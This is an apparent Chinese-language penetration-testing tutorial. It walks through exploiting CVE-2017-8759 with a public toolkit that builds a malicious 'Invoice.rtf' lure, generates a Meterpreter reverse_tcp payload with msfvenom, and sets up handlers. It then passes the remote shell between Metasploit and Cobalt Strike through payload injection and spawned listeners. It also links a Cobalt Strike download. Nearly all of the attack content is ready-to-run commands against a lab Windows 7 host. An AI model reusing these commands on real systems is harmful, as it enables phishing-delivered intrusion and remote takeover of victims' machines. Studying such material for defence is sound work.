metasploit 派生 shell

    

1. 前言

    metasploit 獲取的 shell 派生給其餘工具，例如 Cobaltstrike

    以 CVE-2017-8759 爲例經過 msf 獲取 shell 後派生給 Cobaltstrike 

 

2. 環境

    Kali ： 192.168.229.143

    win7 ： 192.168.229.137

Cobaltstrike+jdk：連接：http://pan.baidu.com/s/1eSJ7P54   密碼：krqn
CVE-2017-8759-exp：    https://github.com/bhdresh/CVE-2017-8759.git

  kali jdk 環境變量
  

vim /etc/profile
export JAVA_HOME=/usr/share/jdk1.8.0_91
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH

 

3. exploit CVE-2017-8759

# git clone https://github.com/bhdresh/CVE-2017-8759.git
1) 生成 RTF 文件

   # python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.229.143/logo.txt
   
2) 生成 MSF payload 並啓動 handler

   # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.229.143 LPORT=4444 -f exe > /tmp/shell.exe
   # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.229.143; run"
   
3) 開發模式下傳送本地 payload

   # python cve-2017-8759_toolkit.py -M exp -e http://192.168.229.143/shell.exe -l /tmp/shell.exe

 

4. 派生 shell 給 Cobalt strike

    打開 Cobalt strike 建立一個新的監聽器

   

    注入一個新的 payload 到當前 session 中

msf exploit(handler) >  use exploit/windows/local/payload_inject
msf exploit(payload_inject) >  set PAYLOAD windows/meterpreter/reverse_http
msf exploit(payload_inject) > set DisablePayloadHandler true
msf exploit(payload_inject) > set LHOST 192.168.229.143
msf exploit(payload_inject) > set LPORT 1212
msf exploit(payload_inject) > set SESSION 1
msf exploit(payload_inject) > exploit 

    

 

5. Cobalt strike 派生 shell 給 MSF

    msf 開啓 reverse_tcp 監聽模式

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.229.143
msf exploit(handler) > set lport 5555
msf exploit(handler) > exploit -j

    使用Cobalt Strike建立一個windows/foreign/reverse_tcp Listener

    

    右鍵 -> Spawn

    

    選擇建立的監聽器

    

    

 

 

https://secvul.com/topics/862.html

http://blog.csdn.net/qq_27446553/article/details/52282457  

http://www.360doc.com/content/16/0524/09/33492643_561811422.shtml